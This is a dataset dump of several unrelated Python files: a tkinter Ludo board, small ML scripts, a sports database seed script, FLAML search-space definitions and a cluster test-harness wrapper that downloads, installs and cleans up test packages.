else:\n count = number - ((buttonx)//50)\n if button in [b1, b2, b3, b4]:\n if count>1:\n count-=1\n button.place(y=350,x=50*count)\n numberzero()\n elif count==1:\n button.place(y=350,x=0)\n numberzero()\n else:\n if count > 2:\n count -= 2\n button.place(x=count*50, y=300)\n numberzero()\n else:\n button.place(x=0, y=400-(count*50))\n numberzero()\n\n elif buttonx in range(0,301, 50) and buttony == 350:\n if button in [b1, b2, b3, b4]:\n if buttony==350 and buttonx in range(0,301, 50):\n if buttonx+50*number in range(0,301, 50):\n button.place(x=buttonx + 50*number, y=350)\n numberzero()\n elif buttonx+50*number == 400:\n button.destroy()\n numberzero()\n else:\n count = number\n if count == 1:\n button.place(x=0, y=300)\n numberzero()\n elif count > 1:\n count -= 1\n button.place(x=count*50, y=300)\n numberzero()\n print(button.winfo_x(), button.winfo_y())\n\n \n\n\n\n\n\n\n\n# rectangle\nblue_rectangle = shape.create_rectangle(0, 0, 300, 300, fill=\"blue\", width=3)\nred_rectangle = shape.create_rectangle(450, 0, 750, 300, fill=\"red\", width=3)\ngreen_rectangle = shape.create_rectangle(\n 0, 450, 300, 750, fill=\"green\", width=3)\nyellow_rectangle = shape.create_rectangle(\n 450, 450, 750, 750, fill=\"yellow\", width=3)\n# victory_rectangle = shape.create_rectangle(\n# 300, 300, 450, 450, fill=\"grey\", width=3)\n\n\n# lines\n\nshape.create_line(300, 0, 450, 0, width=3)\nshape.create_line(750, 300, 750, 450, width=3)\nshape.create_line(300, 750, 450, 750, width=3)\nshape.create_line(0, 300, 0, 450, width=3)\n\nshape.create_line(350, 0, 350, 300, width=3)\nshape.create_line(400, 0, 400, 300, width=3)\nshape.create_line(450, 400, 750, 400, width=3)\nshape.create_line(450, 350, 750, 350, width=3)\nshape.create_line(350, 450, 350, 750, width=3)\nshape.create_line(400, 450, 400, 750, width=3)\nshape.create_line(0, 400, 300, 400, width=3)\nshape.create_line(0, 350, 300, 350, width=3)\n\nshape.create_line(300, 50, 450, 50, width=3)\nshape.create_line(300, 100, 450, 100, width=3)\nshape.create_line(300, 150, 450, 150, width=3)\nshape.create_line(300, 200, 450, 200, width=3)\nshape.create_line(300, 250, 450, 250, width=3)\n\nshape.create_line(700, 300, 700, 450, width=3)\nshape.create_line(500, 300, 500, 450, width=3)\nshape.create_line(550, 300, 550, 450, width=3)\nshape.create_line(600, 300, 600, 450, width=3)\nshape.create_line(650, 300, 650, 450, width=3)\n\nshape.create_line(300, 700, 450, 700, width=3)\nshape.create_line(300, 500, 450, 500, width=3)\nshape.create_line(300, 550, 450, 550, width=3)\nshape.create_line(300, 600, 450, 600, width=3)\nshape.create_line(300, 650, 450, 650, width=3)\n\nshape.create_line(50, 300, 50, 450, width=3)\nshape.create_line(100, 300, 100, 450, width=3)\nshape.create_line(150, 300, 150, 450, width=3)\nshape.create_line(200, 300, 200, 450, width=3)\nshape.create_line(250, 300, 250, 450, width=3)\n\n\n# gotiyan\nb1 = Button(root, width=3, height=2, bg=\"blue\", highlightbackground=\"black\",\n activebackground=\"#1589FF\", command=lambda: [bottoncheck(\"b1\")])\nb1.place(x=50, y=50)\nb2 = Button(root, width=3, height=2, bg=\"blue\", highlightbackground=\"black\",\n activebackground=\"#1589FF\", command=lambda: [bottoncheck(\"b2\")])\nb2.place(x=175, y=50)\nb3 = Button(root, width=3, height=2, bg=\"blue\", highlightbackground=\"black\",\n activebackground=\"#1589FF\", command=lambda: [bottoncheck(\"b3\")])\nb3.place(x=50, y=200)\nb4 = Button(root, width=3, height=2, bg=\"blue\", highlightbackground=\"black\",\n activebackground=\"#1589FF\", command=lambda: [bottoncheck(\"b4\")])\nb4.place(x=175, y=200)\n\nr1 = Button(root, width=3, height=2, bg=\"red\", highlightbackground=\"black\",\n activebackground=\"#E41B17\", command=lambda: [bottoncheck(\"r1\")])\nr1.place(x=500, y=50)\nr2 = Button(root, width=3, height=2, bg=\"red\", highlightbackground=\"black\",\n activebackground=\"#E41B17\", command=lambda: [bottoncheck(\"r2\")])\nr2.place(x=650, y=50)\nr3 = Button(root, width=3, height=2, bg=\"red\", highlightbackground=\"black\",\n activebackground=\"#E41B17\", command=lambda: [bottoncheck(\"r3\")])\nr3.place(x=500, y=200)\nr4 = Button(root, width=3, height=2, bg=\"red\", highlightbackground=\"black\",\n activebackground=\"#E41B17\", command=lambda: [bottoncheck(\"r4\")])\nr4.place(x=650, y=200)\n\ng1 = Button(root, width=3, height=2, bg=\"green\", highlightbackground=\"black\",\n activebackground=\"#3EA055\", command=lambda: [bottoncheck(\"g1\")])\ng1.place(x=50, y=500)\ng2 = Button(root, width=3, height=2, bg=\"green\", highlightbackground=\"black\",\n activebackground=\"#3EA055\", command=lambda: [bottoncheck(\"g2\")])\ng2.place(x=175, y=500)\ng3 = Button(root, width=3, height=2, bg=\"green\", highlightbackground=\"black\",\n activebackground=\"#3EA055\", command=lambda: [bottoncheck(\"g3\")])\ng3.place(x=50, y=650)\ng4 = Button(root, width=3, height=2, bg=\"green\", highlightbackground=\"black\",\n activebackground=\"#3EA055\", command=lambda: [bottoncheck(\"g4\")])\ng4.place(x=175, y=650)\n\ny1 = Button(root, width=3, height=2, bg=\"yellow\", highlightbackground=\"black\",\n activebackground=\"#FFF380\", command=lambda: [bottoncheck(\"y1\")])\ny1.place(x=500, y=500)\ny2 = Button(root, width=3, height=2, bg=\"yellow\", highlightbackground=\"black\",\n activebackground=\"#FFF380\", command=lambda: [bottoncheck(\"y2\")])\ny2.place(x=650, y=500)\ny3 = Button(root, width=3, height=2, bg=\"yellow\", highlightbackground=\"black\",\n activebackground=\"#FFF380\", command=lambda: [bottoncheck(\"y3\")])\ny3.place(x=500, y=650)\ny4 = Button(root, width=3, height=2, bg=\"yellow\", highlightbackground=\"black\",\n activebackground=\"#FFF380\", command=lambda: [bottoncheck(\"y4\")])\ny4.place(x=650, y=650)\n\n\n# ROLL BUTTON\nroll = Button(root, text=\"Roll\", bg=\"#7bccb5\", highlightbackground=\"black\",\n font=\"Monaco\", activebackground=\"#7fffd4\", command=dicerolled)\nroll.place(x=347, y=418)\n\n\n# safe areas\n\nsafe1 = shape.create_rectangle(50, 300, 100, 350, fill=\"grey\", width=2)\nsafe2 = shape.create_rectangle(300, 100, 350, 150, fill=\"grey\", width=2)\nsafe3 = shape.create_rectangle(400, 50, 450, 100, fill=\"grey\", width=2)\nsafe4 = shape.create_rectangle(650, 300, 600, 350, fill=\"grey\", width=2)\nsafe5 = shape.create_rectangle(700, 400, 650, 450, fill=\"grey\", width=2)\nsafe6 = shape.create_rectangle(400, 600, 450, 650, fill=\"grey\", width=2)\nsafe7 = shape.create_rectangle(300, 650, 350, 700, fill=\"grey\", width=2)\nsafe8 = shape.create_rectangle(100, 400, 150, 450, fill=\"grey\", width=2)\nsafe = [safe1, safe2, safe3, safe4, safe5, safe6, safe7, safe8]\n\n\nroot.mainloop()\n","sub_path":"ludo_tkinter/ludo.py","file_name":"ludo.py","file_ext":"py","file_size_in_byte":24842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"38965633","text":"# -*- coding: utf-8 -*-\n\nfrom sklearn.cluster import KMeans\n\n\ndef k_means(train_data, n):\n\n if not train_data:\n return []\n\n _k_means = KMeans(n_clusters=n)\n _k_means.fit(train_data)\n labels = _k_means.labels_\n\n return labels, _k_means.predict\n","sub_path":"nobody/analysis/alg/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"624695196","text":"import tensorflow as tf\nimport numpy as np\n\nxy=np.loadtxt('train.txt',unpack=True,dtype='float32')\nx_data=xy[0:-1]\ny_data=xy[-1]\n\nX=tf.placeholder(tf.float32)\nY=tf.placeholder(tf.float32)\n\nW= tf.Variable(tf.random_uniform([1,len(x_data)],-1.0,1.0))\n\n#Our hypothesis\nh=tf.matmul(W,X)\nhypothesis = tf.div(1.,1.+tf.exp(-h)) #시그모이드 함수에 직접 넣는다.\n\n#cost function\n#코스트 펑션을 그대로 옮김\ncost = -tf.reduce_mean(Y*tf.log(hypothesis) + (1-Y)*tf.log(1-hypothesis))\n\n#Minimize\n#최소화 하기 위한 그라디언트 디센트\na= tf.Variable(0.8) #Learning rate, alpha\noptimizer = tf.train.GradientDescentOptimizer(a)\ntrain = optimizer.minimize(cost)\n\ninit = tf.initialize_all_variables()\n\n#Launch the graph\nsess = tf.Session()\nsess.run(init)\n\nfor step in range(2001):\n sess.run(train, feed_dict={X:x_data,Y:y_data})\n if step%20==0:\n print (step, sess.run(cost, feed_dict={X:x_data,Y:y_data}),sess.run(W))","sub_path":"sungKim_Lecture/05-Classification/01-logistic.py","file_name":"01-logistic.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"47852500","text":"from models import engine, db_session, Base, Team, Position, Player\n\nBase.metadata.create_all(bind=engine)\n\n# Add some data to the database\n\n# Teams\nbayern = Team(name='Bayern Munich')\ndb_session.add(bayern)\ndortmund = Team(name='Dortmund')\ndb_session.add(dortmund)\nwolfsburg = Team(name='Wolfsburg')\ndb_session.add(wolfsburg)\n\n# Positions\noffense = Position(name='offense')\ndb_session.add(offense)\nmidfield = Position(name='midfield')\ndb_session.add(midfield)\ndefence = Position(name='defence')\ndb_session.add(defence)\n\n# Players\n# Add three players from each team\n# Bayern Players\nboateng = Player(first_name='Jerome', last_name='Boateng', number=17, age=28, country='Germany', height=192,\n weight=90, position=defence, team=bayern)\ndb_session.add(boateng)\nkimmich= Player(first_name='Joshua', last_name='Kimmich', number=32, age=21, country='Germany', height=176,\n weight=70, position=midfield, team=bayern)\ndb_session.add(kimmich)\nmuller = Player(first_name='Thomas', last_name='Muller', number=25, age=27, country='Germany', height=186,\n weight=75, position=offense, team=bayern)\ndb_session.add(bayern)\n\n# Dortmund Players\nginter = Player(first_name='Matthias', last_name='Ginter', number=28, age=22, country='Germany', height=190,\n weight=88, position=defence, team=dortmund)\ndb_session.add(ginter)\nschurrle = Player(first_name='Andre', last_name='Schurrle', number=21, age=26, country='Germany', height=184,\n weight=74, position=midfield, team=dortmund)\ndb_session.add(schurrle)\nramos= Player(first_name='Adrian', last_name='Ramos', number=20, age=30, country='Colombia', height=185,\n weight=75, position=offense, team=dortmund)\ndb_session.add(ramos)\n\n# Wolfsburg\nhorn = Player(first_name='Jannes', last_name='Horn', number=21, age=19, country='Germany', height=186, weight=77,\n position=defence, team=wolfsburg)\ndb_session.add(horn)\ndraxler = Player(first_name='Julian', last_name='Draxler', number=10, age=23, country='Germany', height=187, weight=76,\n position=midfield, team=wolfsburg)\ndb_session.add(draxler)\ngomez = Player(first_name='Mario', last_name='Gomez', number=33, age=31, country='Germany', height=189, weight=88,\n position=offense, team=wolfsburg)\ndb_session.add(gomez)\n\ndb_session.commit()\n","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"115774356","text":"'''!\n * Copyright (c) 2020 Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. \n'''\n\n\nclass ConfigSearchInfo:\n '''The class of the search space of a hyperparameters:\n\n Attributes:\n name: A string of the name of the hyperparameter\n type: data type of the hyperparameter\n lower: A number of the lower bound of the value\n upper: A number of the upper bound of the value\n init: A number of the initial value. For hyperparameters related to\n complexity, the init value needs to correspond to the lowest\n complexity\n change_tpe: A string of the change type, 'linear' or 'log'\n min_change: A number of the minimal change required. Could be inf if\n no such requirement\n '''\n\n def __init__(self, name, type, lower, upper, init, change_type = 'log',\n complexity_related = True, min_change = None):\n self.name = name \n self.type = type \n self.lower = lower \n self.upper = upper \n self.init = init \n self.change_type = change_type\n self.complexity_related = complexity_related\n # default setting of min_change: if type is int, min_change \n # should be 1, otherwise +inf\n if min_change is None:\n if self.type == int:\n self.min_change = 1.0 #minimum change required, \n else:\n self.min_change = float('+inf')\n else:\n self.min_change = min_change\n\n\ndef config_space(estimator, data_size, objective_name = \"regression\"):\n CS = {}\n n_estimators_upper = min(32768,int(data_size))\n max_leaves_upper = min(32768,int(data_size))\n # exp_max_depth_upper = min(32768,data_size)\n if 'xgboost' in estimator:\n CS['n_estimators'] = ConfigSearchInfo(name = 'n_estimators',\n type = int, lower = 4, init = 4, upper = n_estimators_upper, \n change_type = 'log')\n CS['max_leaves'] = ConfigSearchInfo(name = 'max_leaves', type =int,\n lower = 4, init = 4, upper = max_leaves_upper, change_type = 'log')\n CS['min_child_weight'] = ConfigSearchInfo(name = 'min_child_weight',\n type = float, lower = 0.001, init = 20.0, upper = 20.0, \n change_type = 'log')\n\n CS['learning_rate'] = ConfigSearchInfo(name = 'learning_rate',\n type = float, lower = 0.01, init = 0.1, upper = 1.0, \n change_type = 'log')\n CS['subsample'] = ConfigSearchInfo(name = 'subsample', type = float,\n lower = 0.6, init = 1.0, upper = 1.0, change_type = 'linear')\n CS['reg_alpha'] = ConfigSearchInfo(name = 'reg_alpha', type = float,\n lower = 1e-10, init = 1e-10, upper = 1.0, change_type = 'log',\n complexity_related = True)\n CS['reg_lambda'] = ConfigSearchInfo(name = 'reg_lambda', type = float,\n lower = 1e-10, init = 1.0, upper = 1.0, change_type = 'log')\n CS['colsample_bylevel'] = ConfigSearchInfo(name = 'colsample_bylevel',\n type = float, lower = 0.6, init = 1.0, upper = 1.0, \n change_type = 'linear')\n CS['colsample_bytree'] = ConfigSearchInfo(name = 'colsample_bytree',\n type = float, lower = 0.7, init = 1.0, upper = 1.0, \n change_type = 'linear')\n elif estimator in ('rf', 'extra_tree'):\n n_estimators_upper = min(2048, n_estimators_upper)\n # max_leaves_upper = min(2048, max_leaves_upper)\n CS['n_estimators'] = ConfigSearchInfo(name = 'n_estimators',\n type = int, lower = 4, init = 4, upper = n_estimators_upper, \n change_type = 'log')\n if objective_name != 'regression':\n CS['criterion'] = ConfigSearchInfo(name = 'criterion',\n type = int, lower = 1, init = 1, upper = 2, \n change_type = 'log')\n \n # CS['max_leaves'] = ConfigSearchInfo(name = 'max_leaves', type =int,\n # lower = 4, init = 4, upper = max_leaves_upper, change_type = 'log',\n # complexity_related = True)\n \n CS['max_features'] = ConfigSearchInfo(name = 'max_features', type = float,\n lower = 0.1, init = 1.0, upper = 1.0, change_type = 'log')\n # CS['min_samples_split'] = ConfigSearchInfo(name = 'min_samples_split',\n # type = int, lower = 2, init = 2, upper = 20, change_type = 'log', \n # complexity_related = True)\n # CS['min_samples_leaf'] = ConfigSearchInfo(name = 'min_samples_leaf',\n # type = int, lower = 1, init = 1, upper = 20, change_type = 'log', \n # complexity_related = True)\n elif 'lgbm' in estimator:\n CS['n_estimators'] = ConfigSearchInfo(name = 'n_estimators', type = int,\n lower = 4, init = 4, upper = n_estimators_upper, change_type = 'log')\n CS['max_leaves'] = ConfigSearchInfo(name = 'max_leaves', type = int,\n lower = 4, init = 4, upper = max_leaves_upper, change_type = 'log')\n CS['min_child_weight'] = ConfigSearchInfo(name = 'min_child_weight',\n type = float, lower = 0.001, init = 20, upper = 20.0, \n change_type = 'log')\n\n CS['learning_rate'] = ConfigSearchInfo(name = 'learning_rate',\n type = float, lower = 0.01, init = 0.1, upper = 1.0, \n change_type = 'log')\n CS['subsample'] = ConfigSearchInfo(name = 'subsample', type = float,\n lower = 0.6, init = 1.0, upper = 1.0, change_type = 'log',\n complexity_related = True)\n CS['log_max_bin'] = ConfigSearchInfo(name = 'log_max_bin', type = int,\n lower = 3, init = 8, upper = 10, change_type = 'log',\n complexity_related = True)\n CS['reg_alpha'] = ConfigSearchInfo(name = 'reg_alpha', type = float,\n lower = 1e-10, init = 1e-10, upper = 1.0, change_type = 'log',\n complexity_related = True)\n CS['reg_lambda'] = ConfigSearchInfo(name = 'reg_lambda', type = float,\n lower = 1e-10, init = 1.0, upper = 1.0, change_type = 'log')\n CS['colsample_bytree'] = ConfigSearchInfo(name = 'colsample_bytree',\n type = float, lower = 0.7, init = 1.0, upper = 1.0, \n change_type = 'log')\n elif 'lr' in estimator:\n CS['C'] = ConfigSearchInfo(name = 'C', type =float, lower = 0.03125,\n init = 1.0, upper = 32768.0, change_type = 'log', \n complexity_related = True)\n elif 'catboost' in estimator:\n # CS['n_estimators'] = ConfigSearchInfo(name = 'n_estimators', type = int,\n # lower = 4, init = 64, upper = n_estimators_upper, change_type = 'log', \n # complexity_related = True)\n early_stopping_rounds = max(min(round(1500000/data_size),150), 10)\n CS['rounds'] = ConfigSearchInfo(name = 'rounds', type = int,\n lower = 10, init = 10, \n upper = early_stopping_rounds, change_type = 'log')\n # CS['exp_max_depth'] = ConfigSearchInfo(name = 'exp_max_depth', type = int,\n # lower = 32, init = 64, upper = 256, change_type = 'log', \n # complexity_related = True)\n\n CS['learning_rate'] = ConfigSearchInfo(name = 'learning_rate',\n type = float, lower = 0.005, init = 0.1, upper = .2, \n change_type = 'log')\n # CS['l2_leaf_reg'] = ConfigSearchInfo(name = 'l2_leaf_reg',\n # type = float, lower = 1, init = 3, upper = 5, \n # change_type = 'log')\n elif 'nn' == estimator:\n CS['learning_rate'] = ConfigSearchInfo(name = 'learning_rate',\n type = float, lower = 1e-4, init = 3e-4, upper = 3e-2, \n change_type = 'log')\n CS['weight_decay'] = ConfigSearchInfo(name = 'weight_decay',\n type = float, lower = 1e-12, init = 1e-6, upper = .1, \n change_type = 'log')\n CS['dropout_prob'] = ConfigSearchInfo(name = 'dropout_prob',\n type = float, lower = 1.0, init = 1.1, upper = 1.5, \n change_type = 'log')\n elif 'kneighbor' in estimator:\n n_neighbors_upper = min(512,int(data_size/2))\n CS['n_neighbors'] = ConfigSearchInfo(name = 'n_neighbors', type = int,\n lower = 1, init = 5, upper = n_neighbors_upper, change_type = 'log') \n else:\n raise NotImplementedError\n\n return CS\n\n\ndef estimator_size(config, estimator):\n if estimator in ['xgboost', 'lgbm', 'rf', 'extra_tree']:\n try:\n max_leaves = int(round(config['max_leaves']))\n n_estimators = int(round(config['n_estimators']))\n model_size = float((max_leaves*3 + (max_leaves-1)*4 + 1)*\n n_estimators*8) \n except:\n model_size = 0\n return model_size\n elif 'catboost' in estimator:\n # if config is None: raise Exception(\"config is none\")\n n_estimators = int(round(config.get('n_estimators',8192)))\n max_leaves = int(round(config.get('exp_max_depth',64)))\n model_size = float((max_leaves*3 + (max_leaves-1)*4 + 1)*\n n_estimators*8) \n return model_size\n else:\n model_size = 1.0\n # raise NotImplementedError\n return model_size\n\n\ndef generate_config_ini(estimator, estimator_configspace):\n\n\n config_dic = {}\n config_dic_more = {}\n config_type_dic = {}\n for _, config in estimator_configspace.items():\n name, init = config.name, config.init\n type_, complexity_related = config.type, config.complexity_related\n config_type_dic[name] = type_\n if complexity_related:\n config_dic[name] = init\n else:\n config_dic_more[name] = init\n return config_dic, config_dic_more, {**config_dic, **config_dic_more}, \\\n config_type_dic\n\n\ndef generate_config_min(estimator,estimator_configspace, max_config_size):\n\n\n config_dic = {}\n config_dic_more = {}\n for _, config in estimator_configspace.items():\n name, lower = config.name, config.lower\n complexity_related = config.complexity_related\n if complexity_related:\n config_dic[name] = lower\n else:\n config_dic_more[name] = lower\n\n return config_dic, config_dic_more, {**config_dic, **config_dic_more}\n\n\ndef generate_config_max(estimator, estimator_configspace, max_config_size):\n\n\n config_dic = {}\n config_dic_more = {}\n for _, config in estimator_configspace.items():\n name, upper = config.name, config.upper\n complexity_related = config.complexity_related\n if complexity_related:\n if name in ('n_estimators', 'max_leaves'):\n config_dic[name] = min(upper, max_config_size)\n else:\n config_dic[name] = upper\n else:\n config_dic_more[name] = upper\n return config_dic, config_dic_more, {**config_dic, **config_dic_more}\n\n\ndef get_config_values(config_dic, config_type_dic):\n value_list = []\n for k in config_dic.keys():\n org_v = config_dic[k]\n if config_type_dic[k] == int:\n v = int(round(org_v))\n value_list.append(v)\n else:\n value_list.append(org_v)\n return value_list\n","sub_path":"flaml/space.py","file_name":"space.py","file_ext":"py","file_size_in_byte":10938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"361716335","text":"class Solution:\n def isValid(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n left = ['(', '{', '[']\n right = [')', '}', ']']\n stack = []\n for letter in s:\n if letter in left:\n stack.append(letter)\n elif letter in right:\n if len(stack) <= 0:\n return False\n if left.index(stack.pop()) != right.index(letter):\n return False\n return len(stack) == 0\n","sub_path":"Valid Parentheses.py","file_name":"Valid Parentheses.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"617490421","text":"# -*- coding: utf-8 -*-\n\n__version__ = '0.1.3'\n\n# configuration setup, the first thing we have to do\nfrom cherryblog.lib.configuration import config_manager\nconfig = config_manager\n\n\nimport os.path\nimport sys\n\n\ndef entrypoint():\n global config\n instance_dir = os.path.abspath(os.path.dirname('.'))\n config.merge(dict(instance_dir=instance_dir))\n\n from cherryblog import cli\n args = cli.parse_ars()\n\n # Dispatch and execute the command\n args.command_func(args)\n\n sys.exit(0)\n\n\n__all__ = ['__version__',\n 'entrypoint']\n\n","sub_path":"cherryblog/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"221444574","text":"\"\"\"\nThis Test Tool is aimed to execute any pytest-based test suite\non demeter cluster (KNL-LB). Basically, the class contained in this\nmodule implements the next four methods from the TestTool base class:\n * prepare_initial_results: Creates a list with all of test cases to be\n executed by using the '--collectonly' flag\n together to the pytest command obtained from\n the test scenario (ts) file.\n * prepare_scenario: In this method there are executed the\n installation for the cluster test content\n in the head node.\n\n * prepare_tool: Just print information about the task\n * run_testing: Executes the testing by using the test command\n obtained from the ts file, collect the results\n and report them to berta. It removes the\n results file to clean up the environment.\n\"\"\"\nimport os\nimport getpass\nimport random\nimport string\nimport logging\nfrom xml.dom import minidom\n\nimport reslog\nimport consts\nfrom wrappers import wrapper\nfrom utils import exec_with_timeout\n\nlog = logging.getLogger(__name__)\n\nTEST_CONTENT = [\"test-toolbox\", \"cluster-netpipe\"]\nCLUSTER_TEST_PATH = \"usr/share/mpss/test/cluster-netpipe-ft/\"\nOS_SUPPORTED = {\"warewulf-rhel-7.2\": \"rhel7.2\"}\n\n\ndef execute_cmd(cmd, timeout=3600, raise_on_error=False):\n \"\"\"\n This is a wrapper for the exec_with_timeout utility that will allows to\n execute as commands as we need to execute our test suite.\n \"\"\"\n out, return_code = exec_with_timeout(\n cmd,\n timeout=timeout,\n shell=True,\n env=None,\n cwd=None,\n poll_period=5,\n callback=None,\n tracing=False,\n read_in_chunks=True,\n screenshot_file=None,\n force_kill=False,\n private=False,\n raise_on_error=raise_on_error)\n if return_code != 0:\n raise RuntimeError('{0}'.format(out))\n return out, return_code\n\n\nclass ClusterKnllbTool(wrapper.TestTool):\n \"\"\"\n This class contains the methods that will support the test suite\n execution on Demeter cluster.\n \"\"\"\n\n def __init__(self, *args):\n super(ClusterKnllbTool, self).__init__(*args)\n log.info(\"Cluster KNL-LB Tool\")\n self.test_path = CLUSTER_TEST_PATH\n self._build_store_root = self.task['jobs'][1]['buildstore_path']\n self._build_store_user = self.task['jobs'][1]['buildstore_username']\n self._build_store_passwd = self.task['jobs'][1]['buildstore_password']\n self.test_commands = []\n self.download_path = '/tmp'\n self.install_path = '/'\n self.store_directory = os.getcwd()\n\n # We get the ts file name associated to this task\n scenario_info = self.task['jobs'][2]\n log.info(\"Cluster KNL-LB Tool:: Scenario info: %s\", scenario_info)\n self._ts_filename = scenario_info['scenario'].replace(\"rpmname=\", \"\")\n\n # We get the buildpath to be able to download the test content\n # and install it in the compute_node\n self._build_path = self.task['jobs'][1]['build_path']\n\n # We get the build number\n self._build_number = self.task['jobs'][1]['build_comment']\n\n # We set the OS to be installed in the compute nodes\n self._os_installed = \\\n OS_SUPPORTED[self.task['jobs'][0]['system_name']]\n\n # Initial list of results\n self._list_test_cases = []\n self.target_path = '/home/{0}/'.format(getpass.getuser())\n self.netpipe_dir = '/home/{0}/NetPIPE'.format(getpass.getuser())\n self.base_path = '/tmp'\n self.default_timeout = 3600\n\n self._product = self._build_path.split('/')[3]\n self._product = self._product.replace('MPSS-4-CI-', '').\\\n replace('MPSS-4-OD-', '')\n numbers = self._product.split('.')\n self._product = '.'.join(numbers[0:3])\n # Name for the .tar file that contains the xppsl test content\n self._package_test = \"mpss-test-{1}-{0}.tar\".format(\n self._os_installed,\n self._product)\n\n # Query for the list of compute nodes by using Warewulf\n self._node_list = []\n cmd_getting_node_list = \"wwsh node list | awk '/deme/ {{print $1}}' \"\n log.info(\"Cluster KNL-LB Tool:: Getting nodes list\")\n\n try:\n out, _ = execute_cmd(cmd_getting_node_list)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed getting nodes list\")\n log.error(\"Cluster KNL-LB Tool::%s\", cmd_exception)\n return\n\n self._node_list = out.split()\n log.info(\"Cluster KNL-LB Tool:: List of nodes: %s\", self._node_list)\n\n def readtest_command(self):\n \"\"\"\n This method will read the python command to be executed. It is read\n from the ts file\n \"\"\"\n\n # Read the ts file content to know the py.test command\n # to be executed on the remote target.\n read_cmd = \"cat {2}{0}{1}.ts\".format(self.test_path,\n self._ts_filename,\n self.install_path)\n\n log.info(\"Cluster KNL-LB Tool::Reading the ts file content\")\n log.info(\"Cluster KNL-LB Tool:: %s\", read_cmd)\n try:\n out, _ = execute_cmd(read_cmd)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed to read the test content file\")\n log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n return\n\n self.test_commands = out.strip().split('\\n')\n log.info(\"Cluster KNL-LB Tool::Test content read: %s\",\n self.test_commands)\n\n def parse_results(self):\n \"\"\"\n This procedure read all xml file in the test results path in demeter\n cluster. This results are obtained by pytest after performing testing.\n \"\"\"\n\n # Get all xml files in the 'base_path directory'\n for filename in os.listdir(self.base_path):\n if not filename.endswith('.xml'):\n continue\n results_file = minidom.parse('{0}/{1}'.format(\n self.base_path,\n filename))\n\n # For every test case, we get the information useful to report Berta\n # the execution result\n for test_case in results_file.getElementsByTagName('testcase'):\n # We need first to identify the name of the test case to process\n name = test_case.attributes['name']\n log.info(\"Cluster KNL-LB Tool:: test case result: %s\", name.value)\n\n # Here, the script searches for any error or failure in the\n # DOM object related to every test case\n error = test_case.getElementsByTagName('error')\n failure = test_case.getElementsByTagName('failure')\n error_msg = ''\n\n # If there exist either an error or a failure, the test case\n # must be reported as FAILED to Berta\n if error:\n result = consts.TC_RESULT_FAIL\n error_msg = error[0].attributes['message'].value\n elif failure:\n result = consts.TC_RESULT_FAIL\n error_msg = failure[0].attributes['message'].value\n else:\n # Just in case that there were no error or failure,\n # this test case must be reported as PASSED\n result = consts.TC_RESULT_PASS\n\n # It is stored the results obtained before\n reslog.store_result(self.store_directory,\n name.value,\n result,\n error_msg,\n cmd_line='pytest')\n\n def cleanup(self):\n \"\"\"\n This method will remove all data regarding to this test suite: results,\n test content, logs and binaries.\n :return:\n \"\"\"\n\n cmd_remove_head = 'rm /{0}/*.xml'.format(self.base_path)\n\n cmd_uninstall_suite = \"sudo yum -y erase %s*\"\n\n cmd_remove_test_content = \"sudo rm -rf /tmp/mpss-test*\"\n\n cmd_remove_binaries = \"sudo rm -rf {0}\".format(self.netpipe_dir)\n\n cmd_remove_card_packages = \"sudo rm -rf /home/card/*.rpm\"\n try:\n output, _ = execute_cmd(cmd_remove_head, raise_on_error=True)\n log.info(\"Cluster KNL-LB Tool::Removing results file(s) %s\", output)\n\n for package in TEST_CONTENT:\n output, _ = execute_cmd(cmd_uninstall_suite % package)\n log.info(\"Cluster KNL-LB Tool::Uninstalling test suite %s\",\n output)\n\n output, _ = execute_cmd(cmd_remove_test_content)\n log.info(\"Cluster KNL-LB Tool::Removing test content %s\", output)\n\n output, _ = execute_cmd(cmd_remove_binaries)\n log.info(\"Cluster KNL-LB Tool::Removing test binaries %s\", output)\n\n output, _ = execute_cmd(cmd_remove_card_packages)\n log.info(\"Cluster KNL-LB Tool::Removing test binaries %s\", output)\n except RuntimeError as cmd_exception:\n log.info(\"Cluster KNL-LB Tool::Cleanup failed head node %s\",\n cmd_exception)\n\n def prepare_tool(self):\n \"\"\"\n This method will read the pytest scenario and will get the basic\n information about the testing to be executed.\n :return:\n \"\"\"\n\n log.info(\"Cluster KNL-LB Tool::Prepare cluster KNL-LB tool\")\n log.info(\"Cluster KNL-LB Tool::Scenario Path: %s\", self.scen_file)\n log.info(\"Cluster KNL-LB Tool::Tool path: %s\", self.tool_path)\n log.info(\"Cluster KNL-LB Tool::Scenario filename: %s\", self._ts_filename)\n log.info(\"Cluster KNL-LB Tool::Test content file: %s\", self._package_test)\n\n def prepare_scenario(self):\n log.info(\"Cluster KNL-LB Tool::Prepare scenario\")\n # We need to get the test content packages in the\n # target node from buildstore\n log.info(\"Cluster KNL-LB Tool::Installing test content\")\n tar_download_cmd = \"cd {4} && wget --user={5} --password={6} {0}{\" \\\n \"1}/eng/internal/{2}/\" \\\n \"package-test/{3}\".format(self._build_store_root,\n self._build_path,\n self._os_installed,\n self._package_test,\n self.download_path,\n self._build_store_user,\n self._build_store_passwd)\n\n log.info(\"Cluster KNL-LB Tool:: Downloading test content %s\",\n tar_download_cmd)\n try:\n execute_cmd(tar_download_cmd, timeout=self.default_timeout)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed downloading the test content file\")\n 